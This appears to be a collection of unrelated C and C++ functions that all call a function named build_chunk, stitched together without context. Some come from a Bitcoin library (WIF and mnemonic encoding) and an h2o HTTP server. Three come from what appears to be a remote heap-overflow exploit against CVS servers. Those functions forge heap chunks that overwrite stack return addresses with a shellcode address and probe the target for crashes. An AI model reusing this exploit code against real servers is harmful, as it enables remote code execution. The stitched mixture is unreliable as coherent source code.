void memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
{
int aff = (sz / 4) / PCNT, j;
if (!cur_num)
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
putchar('[');
for (j = 0; j != PCNT; j++)
putchar(' ');
putchar(']');
for (j = 0; j != PCNT + 1; j++)
putchar('\b');
fflush(stdout);
for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++)
{
if (j == aff)
{
putchar('#');
fflush(stdout);
j = 0;
}
if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++));
}
printf("#\t");
fflush(stdout);
return;
}
std::string secret_to_wif(const ec_secret& secret, bool compressed)
{
auto version = to_array(payment_address::wif_version);
data_chunk data;
if (compressed)
data = build_chunk({ version, secret, to_array(0x01) }, checksum_size);
else
data = build_chunk({version, secret}, checksum_size);
append_checksum(data);
return encode_base58(data);
}
static int on_body(h2o_http1client_t *client, const char *errstr)
{
struct st_h2o_mruby_http_request_context_t *ctx = client->data;
if (errstr != NULL) {
h2o_buffer_t *tmp = ctx->resp.after_closed;
ctx->resp.after_closed = client->sock->input;
client->sock->input = tmp;
ctx->client = NULL;
ctx->resp.has_content = 1;
} else if (client->sock->input->size != 0) {
ctx->resp.has_content = 1;
}
if (ctx->resp.has_content) {
if (ctx->shortcut_notify_cb != NULL) {
ctx->shortcut_notify_cb(ctx->generator);
} else if (!mrb_nil_p(ctx->receiver)) {
int gc_arena = mrb_gc_arena_save(ctx->generator->ctx->mrb);
mrb_value chunk = build_chunk(ctx);
h2o_mruby_run_fiber(ctx->generator, detach_receiver(ctx), chunk, gc_arena, NULL);
}
}
return 0;
}
void memcpy_remote(ulong range, ulong addr, uchar * buf,
int sz)
{
int i;
if (sz <= 0)
return ;
if (!cur_num)
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
{
range &= 0xFFFFFF00;
range += buf[i];
if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
}
return;
}
int range_crashed(int addr, int addr2)
{
char * buf;
cvs_conn();
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
for (; addr < addr2; addr += 8)
if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
nprintf(build_chunk(addr, addr + 4, cur_num++));
memcpy_flush();
nprintf(CVS_FLUSH);
buf = flush_sock();
if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
|| strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
{
nclose();
return (0);
}
#ifdef SHITTEST
sleep(333);
#endif
nclose();
return (1);
}
word_list create_mnemonic(data_slice entropy, const dictionary &lexicon)
{
if ((entropy.size() % mnemonic_seed_multiple) != 0)
return word_list();
const size_t entropy_bits = (entropy.size() * byte_bits);
const size_t check_bits = (entropy_bits / entropy_bit_divisor);
const size_t total_bits = (entropy_bits + check_bits);
const size_t word_count = (total_bits / bits_per_word);
BITCOIN_ASSERT((total_bits % bits_per_word) == 0);
BITCOIN_ASSERT((word_count % mnemonic_word_multiple) == 0);
const auto data = build_chunk({entropy, sha256_hash(entropy)});
size_t bit = 0;
word_list words;
for (size_t word = 0; word < word_count; word++)
{
size_t position = 0;
for (size_t loop = 0; loop < bits_per_word; loop++)
{
bit = (word * bits_per_word + loop);
position <<= 1;
const auto byte = bit / byte_bits;
if ((data[byte] & bip39_shift(bit)) > 0)
position++;
}
BITCOIN_ASSERT(position < dictionary_size);
words.push_back(lexicon[position]);
}
BITCOIN_ASSERT(words.size() == ((bit + 1) / bits_per_word));
return words;
}
mrb_value h2o_mruby_http_fetch_chunk_callback(h2o_mruby_generator_t *generator, mrb_value receiver, mrb_value args,
int *next_action)
{
mrb_state *mrb = generator->ctx->mrb;
struct st_h2o_mruby_http_request_context_t *ctx;
mrb_value ret;
if (generator->req == NULL)
return create_downstream_closed_exception(mrb);
if ((ctx = mrb_data_check_get_ptr(mrb, mrb_ary_entry(args, 0), &input_stream_type)) == NULL)
return mrb_exc_new_str_lit(mrb, E_ARGUMENT_ERROR, "_HttpInputStream#each wrong self");
if (ctx->resp.has_content) {
ret = build_chunk(ctx);
} else {
ctx->receiver = receiver;
*next_action = H2O_MRUBY_CALLBACK_NEXT_ACTION_ASYNC;
ret = mrb_nil_value();
}
return ret;
}
